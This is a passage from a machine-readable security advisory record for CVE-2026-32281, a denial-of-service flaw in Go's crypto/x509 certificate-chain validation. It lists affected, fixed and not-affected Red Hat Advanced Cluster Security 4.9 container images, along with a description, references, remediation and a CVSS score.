"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2456333"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Go\u0027s `crypto/x509` package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service (DoS) for applications or systems performing certificate validation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw occurs during the validation of otherwise trusted certificate chains that contain a large number of policy mappings, leading to excessive resource consumption. Exploitation requires an attacker to present a specially crafted, yet trusted, certificate chain which would require the attacker has already compromised a trusted certificate root. Red Hat continuously monitors certificate authorities and curates the set which is trusted by default for Red Hat products.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-32281"
},
{
"category": "external",
"summary": "RHBZ#2456333",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456333"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-32281",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32281"
},
{
"category": "external",
"summary": "https://go.dev/cl/758061",
"url": "https://go.dev/cl/758061"
},
{
"category": "external",
"summary": "https://go.dev/issue/78281",
"url": "https://go.dev/issue/78281"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU",
"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4946",
"url": "https://pkg.go.dev/vuln/GO-2026-4946"
}
],
"release_date": "2026-04-08T01:06:58.354000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
